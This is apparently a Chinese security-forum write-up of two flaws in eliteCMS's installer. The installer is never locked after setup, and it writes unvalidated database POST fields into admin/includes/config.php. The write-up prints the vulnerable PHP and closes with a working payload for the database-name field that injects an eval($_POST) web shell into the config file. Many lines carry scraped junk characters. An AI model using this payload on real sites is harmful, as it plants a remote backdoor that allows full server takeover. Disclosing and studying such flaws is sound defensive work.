eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
+ O& a4 ?* Z" N) |, F; o+ {
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

8 \# J0 A* f3 Z6 q6 L; g...
, g- i- h0 y* p: h) \7 G  Nelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
: r( Q/ s- E* v* s* X    $write .= "/**\n";
! h' b" k! h" [! X: Q' [0 S    $write .= "*\n";
9 M4 R- `7 p: p9 O3 F+ \7 ]    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
- T% g& |; K! c) V+ n% {    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: |1 I2 q# P$ i" F+ v& v    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
* h( A' \7 T) ^    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
4 Z) M; W$ _$ ]* m2 E5 U    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 r+ t6 J7 \1 ?6 ]. }' G  R    $write .= "        \n";
) Z, A8 y& I  h9 q) b, c    $write .= "} \n";
" k6 O0 o, e- E: ?' |' }! q    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
  s2 ], g$ U6 Z/ y% u+ y6 _    $write .= "if (!\$db_select) {\n";
. U; b. l' {1 i  f( k+ t$ \- Q    $write .= "        die(\"Database select failed\" .mysql_error());\n";
# d6 A1 p& g/ L6 I# R    $write .= "        \n";
    $write .= "} \n";
. J7 |6 F0 [2 c! ^    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

在看代码：

, H1 B$ y/ @; ^- r* W  l$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, j2 T# f# I. c# B$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# _' l. K7 b! t; H1 F) }6 m9 l& D$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

& y: f, V0 m5 V# Q取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
% J, u. ^- }1 l; Q, o, o  T
2 `7 W. h2 O0 c6 s将导致一句话后门写入/admin/includes/config.php